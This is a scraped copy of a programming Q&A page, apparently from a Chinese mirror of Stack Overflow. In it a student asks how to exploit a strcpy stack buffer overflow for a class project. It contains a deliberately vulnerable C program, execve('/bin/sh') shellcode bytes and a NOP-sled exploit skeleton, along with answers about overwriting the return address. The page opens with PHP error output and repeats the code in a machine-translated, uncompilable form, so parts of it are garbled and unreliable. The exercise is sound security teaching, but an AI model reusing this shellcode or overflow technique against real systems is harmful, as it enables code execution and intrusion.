Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/71.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 利用缓冲区溢出_C_Linux - Fatal编程技术网

C 利用缓冲区溢出

C 利用缓冲区溢出,c,linux,C,Linux,我正在做一个项目,我应该写一个C程序来利用给定程序的漏洞 以下是易受攻击的C程序: #include <stdlib.h> #include <stdio.h> int bof(char *str) { char buffer[12]; strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile

我正在做一个项目,我应该写一个C程序来利用给定程序的漏洞

以下是易受攻击的C程序:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
#包括
#包括
整型转炉(字符*str)
{
字符缓冲区[12];
strcpy(缓冲区,str);
返回1;
}
int main(int argc,字符**argv)
{
char-str[517];
文件*坏文件;
badfile=fopen(“badfile”、“r”);
fread(str,sizeof(char),517,badfile);
转炉;
printf(“正确返回\n”);
返回1;
}
以下是利用漏洞的代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}
#包括
#包括
#包括
字符外壳代码[]=
“\x31\xc0”/*xorl%eax,%eax*/
“\x50”/*pushl%eax*/
“\x68”“/sh”/*pushl$0x68732F*/
“\x68”“/bin”/*PUSH$0x6e69622f*/
“\x89\xe3”/*movl%esp,%ebx*/
“\x50”/*pushl%eax*/
“\x53”/*PUSH%ebx*/
“\x89\xe1”/*movl%esp,%ecx*/
“\x99”/*cdql*/
“\xb0\x0b”/*movb$0x0b,%al*/
“\xcd\x80”/*int$0x80*/
;
void main(整型argc,字符**argv)
{
字符缓冲区[517];
文件*坏文件;
/*使用0x90(NOP指令)初始化缓冲区*/
memset(&buffer,0x90517);
/*在这里用适当的内容填充缓冲区*/
/*将内容保存到文件“badfile”*/
badfile=fopen(“./badfile”,“w”);
fwrite(缓冲区,517,1,坏文件);
fclose(坏文件);
}
因此,在保存到“badfile”之前,我需要用适当的内容填充缓冲区。我读过很多关于缓冲区溢出的书,我想我需要修改易受攻击程序的返回地址。但我真的不知道该怎么做。 我应该先找到原始的回信地址,还是我可以做些别的事情?
还有,关于如何实现缓冲区的任何想法/建议?

我建议阅读Metasploit Unreleased上的页面,从开始。您可以浏览相关的ruby模块,看看实际发生了什么,并将其移植到C。虽然这并不简单,但它演示了所需的方法


另外,正如其他人所建议的,使用调试器对于了解发生了什么非常重要。获得一个合适的,如、、或,将使生活更加轻松。

我只是想将链接发布到。您需要计算缓冲区的偏移量,该偏移量最终将覆盖保存的返回指针,然后调整该偏移量处的值,以指向一条指令,该指令将最终执行缓冲区的其余部分(如
jmp esp
)。如果该项目是针对,请明确提及。有关so的问题应比此问题更直接针对您自己的代码(有关详细信息,请参阅链接);如果你甚至不知道从哪里开始,最好问问你的老师或助教。这是他们应该在课堂上或在你的材料中涵盖的内容。@outis:我认为让OP毫无疑问是安全的,而不是假设它一定是为了家庭作业……我自己几周前就为了一些事情做了这个实验与任何作业/课程/成绩无关(但与学校相关)。好吧,谢谢提醒,但我无意隐瞒,这是为了学校。我尝试过类似的方法;#定义偏移量1500无符号长时间获取(void){(movl%ESP,%EAX)}缓冲区[9]=addr&0x000000ff;缓冲区[10]=addr&0x0000ff00;缓冲区[11]=addr&0x00ff0000;缓冲区[12]=addr&0xff000000;但它不工作